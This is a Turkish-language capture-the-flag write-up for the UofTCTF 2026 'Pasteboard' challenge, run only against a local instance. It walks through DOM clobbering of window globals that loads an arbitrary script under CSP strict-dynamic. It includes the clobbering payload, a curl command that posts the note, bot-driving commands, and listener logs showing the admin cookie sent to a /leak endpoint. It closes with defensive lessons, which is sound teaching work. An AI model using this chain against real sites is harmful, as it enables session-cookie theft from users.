UofTCTF 2026 — Pasteboard Çözümü
DOMPurify korurken zafiyet sunucu tarafındaki raw sink ve DOM clobbering'te: window.renderConfig'i ele geçirip throw tetikliyor, window.errorReporter.path.value ile strict-dynamic altında keyfi script yükleyip botun çerezini exfil ediyorum.
UofTCTF 2026 — Pasteboard
Not paylaşım uygulaması ve bir admin bot. DOMPurify 3.3.1 güncel, CSP nonce + strict-dynamic yazıyor; klasik <script> veya onerror işe yaramıyor. Zafiyet sanitizer'da değil: sunucu şablonu kullanıcı gövdesini |safe ile enjekte ediyor, app.js ise window üzerindeki global isimlere güveniyor. İkisi birleşince DOM clobbering → strict-dynamic altında keyfi script → admin çerezinden bayrak.
Kapsam: yalnız yerel koşu. Hiçbir dış sisteme dokunulmadı.
1. Kaynak incelemesi
view.html iki sink sunuyor. Biri ham, biri kaçışlı:
<div id="injected">{{ msg|safe }}</div>
<template id="rawMsg">{{ msg|e }}</template>
<div id="card" data-mode="safe"></div>CSP script-src 'nonce-...' 'strict-dynamic' — inline script ve inline handler ölü, ama default-src 'self', connect-src *, img-src 'self' data:.
app.js kaçışlı #rawMsg'ı DOMPurify'dan geçirip #card'a yazıyor; ham #injected'a dokunmuyor:
const raw = n ? n.textContent : ""; // rawMsg, escaped
const clean = DOMPurify.sanitize(raw, { ALLOW_DATA_ATTR: false });
card.innerHTML = clean; // tek DOM yazımı, sanitize'lıYani sanitizer tarafı doğru: #card sink'i kapalı. Asıl ham HTML #injected'dan DOM'a giriyor — <script> çalışmaz, ama id/name taşıyan elementler window'a isim olarak bağlanır. Üstelik app.js hata yolunda bu global'leri okuyor:
} catch (err) {
window.lastRenderError = String(err);
handleError();
}
function handleError() {
const c = window.errorReporter || { path: "/telemetry/error-reporter.js" };
const p = c.path && c.path.value ? c.path.value : String(c.path || "/telemetry/error-reporter.js");
const s = document.createElement("script");
s.src = new URL(p).href; // keyfi URL
document.head.appendChild(s);
}İki global iki koldan kontrol edilebilir: window.renderConfig (cfg.mode.toLowerCase() satırı) ve window.errorReporter.path.value (s.src). strict-dynamic sayesinde, güvenilir bir script'in (app.js, nonce'lı) oluşturduğu <script> da güvenilir kabul edilir; host allowlist atlanır.
Zincir: ham |safe sink → DOM clobbering → cfg.mode throw → catch → clobberlanmış errorReporter.path.value → <script src=attacker> → exfil. DOMPurify devre dışı kalmıyor; hiç dokunulmuyor.
2. Çalıştırma
Bot'un taşıdığı çerez set edilecek (arşiv bot.py'da FLAG sabiti tanımlı ama kullanılmıyor; gerçek bot bayrağı çerezde taşır). Uygulamayı ve bir exfil dinleyicisini ayağa kaldırıyorum.
macOS'ta
:5000AirPlay tarafından tutulduğu için uygulamayı127.0.0.1:5001'de koştum. Same-origin yalnız/reportucunu bağlıyor; bot'u doğrudan sürdüğüm için akış aynı. Dinleyici:8899, çerez alan adı127.0.0.1.
# exfil dinleyicisi (exfil.js sunar, /leak çağrılarını loglar)
python listener.py # 127.0.0.1:8899
# uygulama, kaynağı değiştirmeden
python -c "import app; app.app.run(host='127.0.0.1', port=5001)"Not gövdesi clobber payload'ı:
<form id="errorReporter"><input name="path" value="http://127.0.0.1:8899/exfil.js"></form>
<div id="renderConfig"></div><div id="renderConfig">→window.renderConfigbir element;.modetanımsız →cfg.mode.toLowerCase()throw.<form id="errorReporter"><input name="path" …>→window.errorReporter.path.value= bizim URL (iki katmanlı clobbering).
curl -s -D - -o /dev/null -X POST http://127.0.0.1:5001/note/new \
--data-urlencode "title=dating" --data-urlencode "body=$BODY"
# Location: /note/872fff9dc87a40c1bf1e849b414c35d33. Bot ve exfil
Bot'u Selenium yerine doğrudan CDP ile sürdüm (chromedriver sürüm uyuşmazlığı); önce çerezi set edip notu açıyor:
cmd("Network.setCookie", {"name": "flag", "value": "uoftctf{fake_flag}", "url": ORIGIN + "/"})
cmd("Page.navigate", {"url": TARGET})Bot notu açtığı an zincir tetikleniyor. Dinleyicinin gerçek logu:
GET /exfil.js
GET /leak?cookie=flag%3Duoftctf%7Bfake_flag%7D&path=%2Fnote%2F872fff9dc87a40c1bf1e849b414c35d3
GET /leak?probe=executed&cookie=flag%3Duoftctf%7Bfake_flag%7DGET /exfil.js → strict-dynamic keyfi script'i yürüttü. Ardından iki fetch('/leak?…') botun çerezini taşıdı. URL-decode:
flag=uoftctf{fake_flag}document.cookie de sayfada aynen görünüyor: flag=uoftctf{fake_flag}.
4. Bayrak ve ders
uoftctf{fake_flag}Arşivdeki bot.py bu sabiti taşır; gerçek yarışmada her örneğe farklı üretilir. Kanıtlanan, zincirin kendisi.
Ders: sanitizer'ı doğru kullanmak yetmiyor. Aynı sayfada kullanıcı HTML'ini |safe ile basan ikinci bir sink varsa, <script> çalışmasa bile id/name ile window global'lerini ele geçirmek yetiyor. window.renderConfig ve window.errorReporter gibi "config" nesnelerini DOM'dan türetmek, strict-dynamic ile birlikte tam XSS'e dönüşür. Kullanıcı HTML'ini ham basma; config'i DOM isim uzayından değil, data- özniteliği gibi okunması güvenli bir yerden al; strict-dynamic ile nonce'lu script'in ürettiği src'yi asla kullanıcı girdisinden türetme.
Ne düşünüyorsun?
Tepki bırakarak geri bildirim ver